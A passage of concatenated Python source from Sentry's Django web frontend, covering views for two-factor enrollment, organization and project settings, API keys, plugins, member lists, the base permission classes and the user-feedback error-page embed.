                    form.cleaned_data['otp']):
                return TwoFactorSettingsView.enroll(self, request, interface)
            else:
                form.errors['__all__'] = ['Invalid confirmation code.']
        else:
            form = TwoFactorForm()

        context = self.make_context(request, interface)
        context['otp_form'] = form
        context['provision_qrcode'] = interface.get_provision_qrcode(
            request.user.email)
        return render_to_response('sentry/account/twofactor/enroll_totp.html',
                                  context, request)


class SmsSettingsView(TwoFactorSettingsView):
    interface_id = 'sms'

    def enroll(self, request, interface, insecure=False):
        stage = request.POST.get('stage') or 'initial'

        totp_secret = request.POST.get('totp_secret')
        if totp_secret is not None:
            interface.secret = totp_secret

        phone_number = request.POST.get('phone_number')
        if phone_number is not None:
            interface.phone_number = phone_number

        sms_form = SmsForm()
        otp_form = TwoFactorForm()

        if stage == 'pick_number':
            sms_form = SmsForm(request.POST)
            if sms_form.is_valid():
                interface.send_text(for_enrollment=True, request=request)
                stage = 'confirm'
        elif stage == 'confirm':
            otp_form = TwoFactorForm(request.POST)
            if otp_form.is_valid() and interface.validate_otp(
                    otp_form.cleaned_data['otp']):
                return TwoFactorSettingsView.enroll(self, request, interface)
            else:
                otp_form.errors['__all__'] = ['Invalid confirmation code.']

        context = self.make_context(request, interface)
        context['sms_form'] = sms_form
        context['otp_form'] = otp_form
        context['stage'] = stage
        return render_to_response('sentry/account/twofactor/enroll_sms.html',
                                  context, request)


class U2fSettingsView(TwoFactorSettingsView):
    interface_id = 'u2f'

    def configure(self, request, interface):
        # Try to remove a key handle.  If this returns `False` it means we
        # are about to remove the last key handle.  In that case just
        # bubble through to the configure page which will pick up the
        # 'remove' in the form and bring up the remove screen for the
        # entire authentication method.
        key_handle = request.POST.get('key_handle')
        if key_handle and 'remove' in request.POST and \
           interface.remove_u2f_device(key_handle):
            interface.authenticator.save()
            return HttpResponseRedirect(request.path)

        return TwoFactorSettingsView.configure(self, request, interface)

    def enroll(self, request, interface, insecure=False):
        u2f_form = U2fForm()

        challenge = request.POST.get('challenge')
        if challenge:
            enrollment_data = json.loads(challenge)
        else:
            enrollment_data = interface.start_enrollment()

        response = request.POST.get('response')
        if response:
            u2f_form = U2fForm(request.POST)
            if u2f_form.is_valid():
                interface.try_enroll(enrollment_data, json.loads(response),
                                     u2f_form.cleaned_data['device_name'])
                return TwoFactorSettingsView.enroll(self, request, interface)

        context = self.make_context(request, interface)
        context['enrollment_data'] = enrollment_data
        context['u2f_form'] = u2f_form
        return render_to_response('sentry/account/twofactor/enroll_u2f.html',
                                  context, request)






from __future__ import absolute_import

from django.contrib import messages
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _

from sentry.models import AuditLogEntryEvent, ProjectKey
from sentry.web.frontend.base import ProjectView


class RemoveProjectKeyView(ProjectView):
    required_scope = 'project:write'

    def handle(self, request, organization, team, project, key_id):
        try:
            key = ProjectKey.objects.get(
                id=key_id,
                project=project,
            )
        except ProjectKey.DoesNotExist:
            return self.redirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))

        data = key.get_audit_log_data()

        key.delete()

        self.create_audit_entry(
            request,
            organization=organization,
            target_object=key.id,
            event=AuditLogEntryEvent.PROJECTKEY_REMOVE,
            data=data,
        )

        messages.add_message(
            request, messages.SUCCESS,
            _('The API key (%s) was revoked.') % (key.public_key,))

        return self.redirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))






from __future__ import absolute_import

from django.db.models import Q

from sentry import roles
from sentry.models import (
    AuthProvider, Authenticator, OrganizationAccessRequest, OrganizationMember
)
from sentry.web.frontend.base import OrganizationView


class OrganizationMembersView(OrganizationView):
    def handle(self, request, organization):
        queryset = OrganizationMember.objects.filter(
            Q(user__is_active=True) | Q(user__isnull=True),
            organization=organization,
        ).select_related('user')

        queryset = sorted(queryset, key=lambda x: x.email or x.user.get_display_name())

        try:
            auth_provider = AuthProvider.objects.get(organization=organization)
        except AuthProvider.DoesNotExist:
            auth_provider = None

        oms = list(queryset)

        authenticators = Authenticator.objects.bulk_users_have_2fa([om.user_id for om in oms])

        member_list = []
        for om in oms:
            needs_sso = bool(auth_provider and not getattr(om.flags, 'sso:linked'))
            member_list.append((om, needs_sso, authenticators[om.user_id]))

        # if the member is not the only owner we allow them to leave the org
        member_can_leave = any(
            1 for om, _, _ in member_list
            if (om.role == roles.get_top_dog().id
                and om.user != request.user
                and om.user is not None)
        )

        # TODO(dcramer): ideally member:write could approve
        can_approve_requests_globally = request.access.has_scope('org:write')
        can_add_members = request.access.has_scope('org:write')
        can_remove_members = request.access.has_scope('member:delete')

        # pending requests
        if can_approve_requests_globally:
            access_requests = list(OrganizationAccessRequest.objects.filter(
                team__organization=organization,
                member__user__is_active=True,
            ).select_related('team', 'member__user'))
        elif request.access.has_scope('team:write') and request.access.teams:
            access_requests = list(OrganizationAccessRequest.objects.filter(
                member__user__is_active=True,
                team__in=request.access.teams,
            ).select_related('team', 'member__user'))
        else:
            access_requests = []

        context = {
            'org_has_sso': auth_provider is not None,
            'member_list': member_list,
            'request_list': access_requests,
            'ref': request.GET.get('ref'),
            'can_add_members': can_add_members,
            'can_remove_members': can_remove_members,
            'member_can_leave': member_can_leave,
        }

        return self.respond('sentry/organization-members.html', context)






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.plugins import plugins
from sentry.web.frontend.base import ProjectView


class ProjectPluginResetView(ProjectView):
    required_scope = 'project:write'

    def post(self, request, organization, team, project, slug):
        try:
            plugin = plugins.get(slug)
        except KeyError:
            return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))

        if not plugin.is_enabled(project):
            return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))

        plugin.reset_options(project=project)

        return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.plugins import plugins
from sentry.signals import plugin_enabled
from sentry.web.frontend.base import ProjectView


class ProjectPluginEnableView(ProjectView):
    required_scope = 'project:write'

    def post(self, request, organization, team, project, slug):
        try:
            plugin = plugins.get(slug)
        except KeyError:
            return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))

        if plugin.is_enabled(project):
            return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))

        plugin.enable(project=project)

        plugin_enabled.send(plugin=plugin, project=project, user=request.user, sender=self)

        return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.core.urlresolvers import reverse

from sentry.api import client
from sentry.models import Project, Team
from sentry.web.forms.add_project import AddProjectForm
from sentry.web.frontend.base import OrganizationView
from sentry.utils.http import absolute_uri


ERR_NO_TEAMS = 'You cannot create a new project because there are no teams to assign it to.'


class AddProjectWithTeamForm(AddProjectForm):
    team = forms.ChoiceField(
        choices=(), required=True,
        help_text='The team controls who has access to this project.',
    )

    class Meta:
        fields = ('name', 'team')
        model = Project

    def __init__(self, user, organization, team_list, *args, **kwargs):
        super(AddProjectWithTeamForm, self).__init__(organization, *args, **kwargs)

        self.team_list = team_list

        if len(self.team_list) == 1:
            del self.fields['team']
        else:
            self.fields['team'].choices = (
                (t.slug, t.name)
                for t in team_list
            )
            self.fields['team'].widget.choices = self.fields['team'].choices

    def clean_team(self):
        value = self.cleaned_data['team']
        for team in self.team_list:
            if value == team.slug:
                return team
        return None

    def save(self, actor, ip_address):
        team = self.cleaned_data.get('team', self.team_list[0])
        return super(AddProjectWithTeamForm, self).save(actor, team, ip_address)


class CreateProjectView(OrganizationView):
    # While currently the UI suggests teams are a parent of a project, in reality
    # the project is the core component, and which team it is on is simply an
    # attribute. Because you can already change the team of a project via mutating
    # it, and because Sentry intends to remove teams as a hierarchy item, we
    # allow you to view a teams projects, as well as create a new project as long
    # as you are a member of that team and have project scoped permissions.
    required_scope = 'project:write'

    def get_form(self, request, organization, team_list):
        data = {
            'team': request.GET.get('team'),
        }
        return AddProjectWithTeamForm(request.user, organization, team_list,
                                      request.POST or None, initial=data)

    def handle(self, request, organization):
        team_list = [
            t for t in Team.objects.get_for_user(
                organization=organization,
                user=request.user,
            )
            if request.access.has_team_scope(t, self.required_scope)
        ]
        if not team_list:
            messages.error(request, ERR_NO_TEAMS)
            return self.redirect(reverse('sentry-organization-home', args=[organization.slug]))

        form = self.get_form(request, organization, team_list)
        if form.is_valid():
            team = form.cleaned_data.get('team', team_list[0])

            response = client.post('/teams/{}/{}/projects/'.format(
                organization.slug,
                team.slug,
            ), data={
                'name': form.cleaned_data['name'],
            }, request=request)

            install_uri = absolute_uri('/{}/{}/settings/install/'.format(
                organization.slug,
                response.data['slug'],
            ))

            if 'signup' in request.GET:
                install_uri += '?signup'

            return self.redirect(install_uri)

        context = {
            'form': form,
        }

        return self.respond('sentry/create-project.html', context)






from __future__ import absolute_import

import logging
import six

from django.contrib import messages
from django.core.context_processors import csrf
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.utils.decorators import method_decorator
from django.utils.translation import ugettext_lazy as _
from django.views.decorators.csrf import csrf_protect
from django.views.generic import View
from sudo.views import redirect_to_sudo

from sentry.auth import access
from sentry.models import (
    AuditLogEntry, Organization, OrganizationMember, OrganizationStatus, Project,
    ProjectStatus, Team, TeamStatus
)
from sentry.web.helpers import get_login_url, render_to_response

ERR_MISSING_SSO_LINK = _('You need to link your account with the SSO provider to continue.')

logger = logging.getLogger(__name__)
audit_logger = logging.getLogger('sentry.audit.ui')


class OrganizationMixin(object):
    # TODO(dcramer): move the implicit organization logic into its own class
    # as it's only used in a single location and over complicates the rest of
    # the code
    def get_active_organization(self, request, organization_slug=None):
        """
        Returns the currently active organization for the request or None
        if no organization.
        """

        # TODO(dcramer): this is a huge hack, and we should refactor this
        # it is currently needed to handle the is_auth_required check on
        # OrganizationBase
        active_organization = getattr(self, '_active_org', None)
        cached_active_org = (
            active_organization
            and active_organization[0].slug == organization_slug
            and active_organization[1] == request.user
        )
        if cached_active_org:
            return active_organization[0]

        active_organization = None

        is_implicit = organization_slug is None

        if is_implicit:
            organization_slug = request.session.get('activeorg')

        if organization_slug is not None:
            if request.is_superuser():
                try:
                    active_organization = Organization.objects.get_from_cache(
                        slug=organization_slug,
                    )
                    if active_organization.status != OrganizationStatus.VISIBLE:
                        raise Organization.DoesNotExist
                except Organization.DoesNotExist:
                    logger.info('Active organization [%s] not found',
                        organization_slug)
                    return None

        if active_organization is None:
            organizations = Organization.objects.get_for_user(
                user=request.user,
            )

        if active_organization is None and organization_slug:
            try:
                active_organization = six.next(
                    o for o in organizations
                    if o.slug == organization_slug
                )
            except StopIteration:
                logger.info('Active organization [%s] not found in scope',
                    organization_slug)
                if is_implicit:
                    del request.session['activeorg']
                active_organization = None

        if active_organization is None:
            if not is_implicit:
                return None

            try:
                active_organization = organizations[0]
            except IndexError:
                logger.info('User is not a member of any organizations')
                pass

        if active_organization and self._is_org_member(request.user, active_organization):
            if active_organization.slug != request.session.get('activeorg'):
                request.session['activeorg'] = active_organization.slug

        self._active_org = (active_organization, request.user)

        return active_organization

    def _is_org_member(self, user, organization):
        return OrganizationMember.objects.filter(
            user=user,
            organization=organization,
        ).exists()

    def get_active_team(self, request, organization, team_slug):
        """
        Returns the currently selected team for the request or None
        if no match.
        """
        try:
            team = Team.objects.get_from_cache(
                slug=team_slug,
                organization=organization,
            )
        except Team.DoesNotExist:
            return None

        if team.status != TeamStatus.VISIBLE:
            return None

        return team

    def get_active_project(self, request, organization, project_slug):
        try:
            project = Project.objects.get_from_cache(
                slug=project_slug,
                organization=organization,
            )
        except Project.DoesNotExist:
            return None

        if project.status != ProjectStatus.VISIBLE:
            return None

        return project

    def redirect_to_org(self, request):
        from sentry import features

        # TODO(dcramer): deal with case when the user cannot create orgs
        organization = self.get_active_organization(request)
        if organization:
            url = reverse('sentry-organization-home', args=[organization.slug])
        elif not features.has('organizations:create'):
            return self.respond('sentry/no-organization-access.html', status=403)
        else:
            url = reverse('sentry-create-organization')
        return HttpResponseRedirect(url)


class BaseView(View, OrganizationMixin):
    auth_required = True
    # TODO(dcramer): change sudo so it can be required only on POST
    sudo_required = False

    def __init__(self, auth_required=None, sudo_required=None, *args, **kwargs):
        if auth_required is not None:
            self.auth_required = auth_required
        if sudo_required is not None:
            self.sudo_required = sudo_required
        super(BaseView, self).__init__(*args, **kwargs)

    @method_decorator(csrf_protect)
    def dispatch(self, request, *args, **kwargs):
        if self.is_auth_required(request, *args, **kwargs):
            return self.handle_auth_required(request, *args, **kwargs)

        if self.is_sudo_required(request, *args, **kwargs):
            return self.handle_sudo_required(request, *args, **kwargs)

        args, kwargs = self.convert_args(request, *args, **kwargs)

        request.access = self.get_access(request, *args, **kwargs)

        if not self.has_permission(request, *args, **kwargs):
            return self.handle_permission_required(request, *args, **kwargs)

        self.request = request
        self.default_context = self.get_context_data(request, *args, **kwargs)

        return self.handle(request, *args, **kwargs)

    def get_access(self, request, *args, **kwargs):
        return access.DEFAULT

    def convert_args(self, request, *args, **kwargs):
        return (args, kwargs)

    def handle(self, request, *args, **kwargs):
        return super(BaseView, self).dispatch(request, *args, **kwargs)

    def is_auth_required(self, request, *args, **kwargs):
        return (
            self.auth_required
            and not (request.user.is_authenticated() and request.user.is_active)
        )

    def handle_auth_required(self, request, *args, **kwargs):
        request.session['_next'] = request.get_full_path()
        if 'organization_slug' in kwargs:
            redirect_to = reverse('sentry-auth-organization',
                                  args=[kwargs['organization_slug']])
        else:
            redirect_to = get_login_url()
        return self.redirect(redirect_to)

    def is_sudo_required(self, request, *args, **kwargs):
        return self.sudo_required and not request.is_sudo()

    def handle_sudo_required(self, request, *args, **kwargs):
        return redirect_to_sudo(request.get_full_path())

    def has_permission(self, request, *args, **kwargs):
        return True

    def handle_permission_required(self, request, *args, **kwargs):
        redirect_uri = self.get_no_permission_url(request, *args, **kwargs)
        return self.redirect(redirect_uri)

    def get_no_permission_url(request, *args, **kwargs):
        return reverse('sentry-login')

    def get_context_data(self, request, **kwargs):
        context = csrf(request)
        return context

    def respond(self, template, context=None, status=200):
        default_context = self.default_context
        if context:
            default_context.update(context)

        return render_to_response(template, default_context, self.request,
                                  status=status)

    def redirect(self, url):
        return HttpResponseRedirect(url)

    def get_team_list(self, user, organization):
        return Team.objects.get_for_user(
            organization=organization,
            user=user,
            with_projects=True,
        )

    def create_audit_entry(self, request, **kwargs):
        entry = AuditLogEntry.objects.create(
            actor=request.user if request.user.is_authenticated() else None,
            # TODO(jtcunning): assert that REMOTE_ADDR is a real IP.
            ip_address=request.META['REMOTE_ADDR'],
            **kwargs
        )
        audit_logger.info(entry.get_event_display(), extra={
            'entry_id': entry.id,
            'actor_id': entry.actor_id,
            'actor_label': entry.actor_label,
        })


class OrganizationView(BaseView):
    """
    Any view acting on behalf of an organization should inherit from this base.

    The 'organization' keyword argument is automatically injected into the
    resulting dispatch.
    """
    required_scope = None
    valid_sso_required = True

    def get_access(self, request, organization, *args, **kwargs):
        if organization is None:
            return access.DEFAULT
        return access.from_request(request, organization)

    def get_context_data(self, request, organization, **kwargs):
        context = super(OrganizationView, self).get_context_data(request)
        context['organization'] = organization
        context['TEAM_LIST'] = self.get_team_list(request.user, organization)
        context['ACCESS'] = request.access.to_django_context()
        return context

    def has_permission(self, request, organization, *args, **kwargs):
        if organization is None:
            return False
        if self.valid_sso_required and not request.access.sso_is_valid:
            return False
        if self.required_scope and not request.access.has_scope(self.required_scope):
            logger.info('User %s does not have %s permission to access organization %s',
                request.user, self.required_scope, organization)
            return False
        return True

    def is_auth_required(self, request, organization_slug=None, *args, **kwargs):
        result = super(OrganizationView, self).is_auth_required(
            request, *args, **kwargs
        )
        if result:
            return result

        # if the user is attempting to access an organization that *may* be
        # accessible if they simply re-authenticate, we want to allow that
        # this opens up a privacy hole, but the pros outweigh the cons
        if not organization_slug:
            return False

        active_organization = self.get_active_organization(
            request=request,
            organization_slug=organization_slug,
        )
        if not active_organization:
            try:
                Organization.objects.get_from_cache(slug=organization_slug)
            except Organization.DoesNotExist:
                pass
            else:
                return True
        return False

    def handle_permission_required(self, request, organization, *args, **kwargs):
        needs_link = (
            organization and request.user.is_authenticated()
            and self.valid_sso_required and not request.access.sso_is_valid
        )

        request.session['_next'] = request.get_full_path()

        if needs_link:
            messages.add_message(
                request, messages.ERROR,
                ERR_MISSING_SSO_LINK,
            )
            redirect_uri = reverse('sentry-auth-organization',
                                   args=[organization.slug])
        else:
            redirect_uri = self.get_no_permission_url(request, *args, **kwargs)
        return self.redirect(redirect_uri)

    def convert_args(self, request, organization_slug=None, *args, **kwargs):
        active_organization = self.get_active_organization(
            request=request,
            organization_slug=organization_slug,
        )

        kwargs['organization'] = active_organization

        return (args, kwargs)


class TeamView(OrganizationView):
    """
    Any view acting on behalf of a team should inherit from this base and the
    matching URL pattern must pass 'team_slug'.

    Two keyword arguments are added to the resulting dispatch:

    - organization
    - team
    """
    def get_context_data(self, request, organization, team, **kwargs):
        context = super(TeamView, self).get_context_data(request, organization)
        context['team'] = team
        return context

    def has_permission(self, request, organization, team, *args, **kwargs):
        if team is None:
            return False
        rv = super(TeamView, self).has_permission(request, organization)
        if not rv:
            return rv
        if self.required_scope:
            if not request.access.has_team_scope(team, self.required_scope):
                logger.info('User %s does not have %s permission to access team %s',
                    request.user, self.required_scope, team)
                return False
        elif not request.access.has_team(team):
            logger.info('User %s does not have access to team %s',
                request.user, team)
            return False
        return True

    def convert_args(self, request, organization_slug, team_slug, *args, **kwargs):
        active_organization = self.get_active_organization(
            request=request,
            organization_slug=organization_slug,
        )

        if active_organization:
            active_team = self.get_active_team(
                request=request,
                team_slug=team_slug,
                organization=active_organization,
            )
        else:
            active_team = None

        kwargs['organization'] = active_organization
        kwargs['team'] = active_team

        return (args, kwargs)


class ProjectView(TeamView):
    """
    Any view acting on behalf of a project should inherit from this base and the
    matching URL pattern must pass 'team_slug' as well as 'project_slug'.

    Three keyword arguments are added to the resulting dispatch:

    - organization
    - team
    - project
    """
    def get_context_data(self, request, organization, team, project, **kwargs):
        context = super(ProjectView, self).get_context_data(request, organization, team)
        context['project'] = project
        return context

    def has_permission(self, request, organization, team, project, *args, **kwargs):
        if project is None:
            return False
        if team is None:
            return False
        rv = super(ProjectView, self).has_permission(request, organization, team)
        if not rv:
            return rv
        if self.required_scope:
            if not request.access.has_team_scope(team, self.required_scope):
                logger.info('User %s does not have %s permission to access project %s',
                    request.user, self.required_scope, project)
                return False
        elif not request.access.has_team(team):
            logger.info('User %s does not have access to project %s',
                request.user, project)
            return False
        return True

    def convert_args(self, request, organization_slug, project_slug, *args, **kwargs):
        active_organization = self.get_active_organization(
            request=request,
            organization_slug=organization_slug,
        )

        if active_organization:
            active_project = self.get_active_project(
                request=request,
                organization=active_organization,
                project_slug=project_slug,
            )
        else:
            active_project = None

        if active_project:
            active_team = active_project.team
        else:
            active_team = None

        kwargs['project'] = active_project
        kwargs['team'] = active_team
        kwargs['organization'] = active_organization

        return (args, kwargs)






from __future__ import absolute_import

from django import forms
from django.db import IntegrityError, transaction
from django.http import HttpResponse
from django.views.generic import View
from django.template.loader import render_to_string
from django.utils import timezone
from django.utils.safestring import mark_safe
from django.views.decorators.csrf import csrf_exempt

from sentry.models import (
    EventMapping, Group, ProjectKey, ProjectOption, UserReport
)
from sentry.web.helpers import render_to_response
from sentry.utils import json
from sentry.utils.http import is_valid_origin
from sentry.utils.validators import is_event_id


class UserReportForm(forms.ModelForm):
    name = forms.CharField(max_length=128, widget=forms.TextInput(attrs={
        'placeholder': 'Jane Doe',
    }))
    email = forms.EmailField(max_length=75, widget=forms.TextInput(attrs={
        'placeholder': 'jane@example.com',
        'type': 'email',
    }))
    comments = forms.CharField(widget=forms.Textarea(attrs={
        'placeholder': "I clicked on 'X' and then hit 'Confirm'",
    }))

    class Meta:
        model = UserReport
        fields = ('name', 'email', 'comments')


class ErrorPageEmbedView(View):
    def _get_project_key(self, request):
        try:
            dsn = request.GET['dsn']
        except KeyError:
            return

        try:
            key = ProjectKey.from_dsn(dsn)
        except ProjectKey.DoesNotExist:
            return

        return key

    def _get_origin(self, request):
        return request.META.get('HTTP_ORIGIN', request.META.get('HTTP_REFERER'))

    def _json_response(self, request, context=None, status=200):
        if context:
            content = json.dumps(context)
        else:
            content = ''
        response = HttpResponse(content, status=status, content_type='application/json')
        response['Access-Control-Allow-Origin'] = request.META.get('HTTP_ORIGIN', '')
        response['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
        response['Access-Control-Max-Age'] = '1000'
        response['Access-Control-Allow-Headers'] = 'Content-Type, Authorization, X-Requested-With'
        return response

    @csrf_exempt
    def dispatch(self, request):
        try:
            event_id = request.GET['eventId']
        except KeyError:
            return self._json_response(request, status=400)

        if not is_event_id(event_id):
            return self._json_response(request, status=400)

        key = self._get_project_key(request)
        if not key:
            return self._json_response(request, status=404)

        origin = self._get_origin(request)
        if not origin:
            return self._json_response(request, status=403)

        if not is_valid_origin(origin, key.project):
            return HttpResponse(status=403)

        if request.method == 'OPTIONS':
            return self._json_response(request)

        # TODO(dcramer): since we cant use a csrf cookie we should at the very
        # least sign the request / add some kind of nonce
        initial = {
            'name': request.GET.get('name'),
            'email': request.GET.get('email'),
        }

        form = UserReportForm(request.POST if request.method == 'POST' else None,
                              initial=initial)
        if form.is_valid():
            # TODO(dcramer): move this to post to the internal API
            report = form.save(commit=False)
            report.project = key.project
            report.event_id = event_id
            try:
                mapping = EventMapping.objects.get(
                    event_id=report.event_id,
                    project_id=key.project_id,
                )
            except EventMapping.DoesNotExist:
                # XXX(dcramer): the system should fill this in later
                pass
            else:
                report.group = Group.objects.get(id=mapping.group_id)

            try:
                with transaction.atomic():
                    report.save()
            except IntegrityError:
                # There was a duplicate, so just overwrite the existing
                # row with the new one. The only way this ever happens is
                # if someone is messing around with the API, or doing
                # something wrong with the SDK, but this behavior is
                # more reasonable than just hard erroring and is more
                # expected.
                UserReport.objects.filter(
                    project=report.project,
                    event_id=report.event_id,
                ).update(
                    name=report.name,
                    email=report.email,
                    comments=report.comments,
                    date_added=timezone.now(),
                )
            return self._json_response(request)
        elif request.method == 'POST':
            return self._json_response(request, {
                "errors": dict(form.errors),
            }, status=400)

        show_branding = ProjectOption.objects.get_value(
            project=key.project,
            key='feedback:branding',
            default='1'
        ) == '1'

        template = render_to_string('sentry/error-page-embed.html', {
            'form': form,
            'show_branding': show_branding,
        })

        context = {
            'endpoint': mark_safe('*/' + json.dumps(request.build_absolute_uri()) + ';/*'),
            'template': mark_safe('*/' + json.dumps(template) + ';/*'),
        }

        return render_to_response('sentry/error-page-embed.js', context, request,
                                  content_type='text/javascript')






from __future__ import absolute_import

from sentry.models import TagKey, TagKeyStatus
from sentry.web.frontend.base import ProjectView


class ProjectTagsView(ProjectView):
    def get(self, request, organization, team, project):
        tag_list = TagKey.objects.filter(
            project=project,
            status=TagKeyStatus.VISIBLE,
        )

        context = {
            'tag_list': tag_list,
            'page': 'tags',
        }
        return self.respond('sentry/projects/manage_tags.html', context)






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _

from sentry import roles
from sentry.models import AuditLogEntryEvent, Organization
from sentry.web.frontend.base import OrganizationView


class OrganizationSettingsForm(forms.ModelForm):
    name = forms.CharField(help_text=_('The name of your organization. i.e. My Company'))
    slug = forms.SlugField(
        label=_('Short name'),
        help_text=_('A unique ID used to identify this organization.'),
    )
    allow_joinleave = forms.BooleanField(
        label=_('Open Membership'),
        help_text=_('Allow organization members to freely join or leave any team.'),
        required=False,
    )
    default_role = forms.ChoiceField(
        label=_('Default Role'),
        choices=roles.get_choices(),
        help_text=_('The default role new members will receive.'),
    )
    enhanced_privacy = forms.BooleanField(
        label=_('Enhanced Privacy'),
        help_text=_('Enable enhanced privacy controls to limit personally identifiable information (PII) as well as source code in things like notifications.'),
        required=False,
    )
    allow_shared_issues = forms.BooleanField(
        label=_('Allow Shared Issues'),
        help_text=_('Enable sharing of limited details on issues to anonymous users.'),
        required=False,
    )
    require_scrub_data = forms.BooleanField(
        label=_('Require Data Scrubber'),
        help_text=_('Require server-side data scrubbing be enabled for all projects.'),
        required=False
    )
    require_scrub_defaults = forms.BooleanField(
        label=_('Require Using Default Scrubbers'),
        help_text=_('Require the default scrubbers be applied to prevent things like passwords and credit cards from being stored for all projects.'),
        required=False
    )
    sensitive_fields = forms.CharField(
        label=_('Global additional sensitive fields'),
        help_text=_('Additional field names to match against when scrubbing data for all projects. '
                    'Separate multiple entries with a newline.<br /><strong>Note: These fields will be used in addition to project specific fields.</strong>'),
        widget=forms.Textarea(attrs={
            'placeholder': mark_safe(_('e.g. email')),
            'class': 'span8',
            'rows': '3',
        }),
        required=False,
    )
    require_scrub_ip_address = forms.BooleanField(
        label=_('Prevent Storing of IP Addresses'),
        help_text=_('Preventing IP addresses from being stored for new events on all projects.'),
        required=False
    )
    early_adopter = forms.BooleanField(
        label=_('Early Adopter'),
        help_text=_('Opt-in to new features before they\'re released to the public.'),
        required=False
    )

    class Meta:
        fields = ('name', 'slug', 'default_role')
        model = Organization

    def clean_sensitive_fields(self):
        value = self.cleaned_data.get('sensitive_fields')
        if not value:
            return

        return filter(bool, (v.lower().strip() for v in value.split('\n')))


class OrganizationSettingsView(OrganizationView):
    required_scope = 'org:write'

    def get_form(self, request, organization):
        return OrganizationSettingsForm(
            request.POST or None,
            instance=organization,
            initial={
                'default_role': organization.default_role,
                'allow_joinleave': bool(organization.flags.allow_joinleave),
                'enhanced_privacy': bool(organization.flags.enhanced_privacy),
                'allow_shared_issues': bool(not organization.flags.disable_shared_issues),
                'require_scrub_data': bool(organization.get_option('sentry:require_scrub_data', False)),
                'require_scrub_defaults': bool(organization.get_option('sentry:require_scrub_defaults', False)),
                'sensitive_fields': '\n'.join(organization.get_option('sentry:sensitive_fields', None) or []),
                'require_scrub_ip_address': bool(organization.get_option('sentry:require_scrub_ip_address', False)),
                'early_adopter': bool(organization.flags.early_adopter),
            }
        )

    def handle(self, request, organization):
        form = self.get_form(request, organization)
        if form.is_valid():
            organization = form.save(commit=False)
            organization.flags.allow_joinleave = form.cleaned_data['allow_joinleave']
            organization.flags.enhanced_privacy = form.cleaned_data['enhanced_privacy']
            organization.flags.disable_shared_issues = not form.cleaned_data['allow_shared_issues']
            organization.flags.early_adopter = form.cleaned_data['early_adopter']
            organization.save()

            for opt in (
                    'require_scrub_data',
                    'require_scrub_defaults',
                    'sensitive_fields',
                    'require_scrub_ip_address'):
                value = form.cleaned_data.get(opt)
                if value is None:
                    organization.delete_option('sentry:%s' % (opt,))
                else:
                    organization.update_option('sentry:%s' % (opt,), value)

            self.create_audit_entry(
                request,
                organization=organization,
                target_object=organization.id,
                event=AuditLogEntryEvent.ORG_EDIT,
                data=organization.get_audit_log_data(),
            )

            messages.add_message(request, messages.SUCCESS,
                _('Changes to your organization were saved.'))

            return HttpResponseRedirect(reverse('sentry-organization-settings', args=[organization.slug]))

        context = {
            'form': form,
        }

        return self.respond('sentry/organization-settings.html', context)






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.http import HttpResponseRedirect
from django.shortcuts import get_object_or_404
from django.utils.translation import ugettext_lazy as _

from sentry.models import ApiKey, AuditLogEntryEvent
from sentry.web.forms.fields import OriginsField
from sentry.web.frontend.base import OrganizationView


class ApiKeyForm(forms.ModelForm):
    allowed_origins = OriginsField(label=_('Allowed Domains'), required=False,
        help_text=_('Separate multiple entries with a newline.'))

    class Meta:
        model = ApiKey
        fields = ('label', 'scopes')


class OrganizationApiKeySettingsView(OrganizationView):
    required_scope = 'org:delete'

    def handle(self, request, organization, key_id):
        key = get_object_or_404(ApiKey, organization=organization, id=key_id)

        form = ApiKeyForm(
            request.POST or None, instance=key, initial={
                'allowed_origins': key.allowed_origins,
            },
        )

        if form.is_valid():
            key.allowed_origins = '\n'.join(form.cleaned_data['allowed_origins'])
            key.save()

            self.create_audit_entry(
                request,
                organization=organization,
                target_object=key.id,
                event=AuditLogEntryEvent.APIKEY_EDIT,
                data=key.get_audit_log_data(),
            )

            messages.add_message(
                request, messages.SUCCESS,
                'Your settings were saved.',
            )
            return HttpResponseRedirect(request.path)

        context = {
            'key': key,
            'form': form,
        }

        return self.respond('sentry/organization-api-key-settings.html', context)






from __future__ import absolute_import

from django.contrib import messages
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _

from sentry import app, features
from sentry.quotas.base import Quota
from sentry.web.forms.projects import ProjectQuotasForm
from sentry.web.frontend.base import ProjectView

ERR_NO_SSO = _('The quotas feature is not enabled for this project.')


class ProjectQuotasView(ProjectView):
    required_scope = 'project:write'

    def handle(self, request, organization, team, project):
        if not features.has('projects:quotas', project, actor=request.user):
            messages.add_message(
                request, messages.ERROR,
                ERR_NO_SSO,
            )
            redirect = reverse('sentry-manage-project',
                               args=[organization.slug, project.slug])
            return self.redirect(redirect)

        form = ProjectQuotasForm(project, request.POST or None)

        if form and form.is_valid():
            form.save()

            messages.add_message(
                request, messages.SUCCESS,
                _('Your settings were saved successfully.'))

            return self.redirect(reverse('sentry-manage-project-quotas', args=[project.organization.slug, project.slug]))

        context = {
            'organization': organization,
            'team': project.team,
            'page': 'quotas',
            # TODO(dcramer): has_quotas is an awful hack
            'has_quotas': type(app.quotas) != Quota,
            'organization_quota': int(app.quotas.get_organization_quota(project.organization)),
            'project': project,
            'form': form,
        }
        return self.respond('sentry/projects/quotas.html', context)






from __future__ import absolute_import

from django.contrib.auth import logout
from django.contrib.auth.models import AnonymousUser

from sentry.web.frontend.base import BaseView
from sentry.utils.auth import get_login_redirect


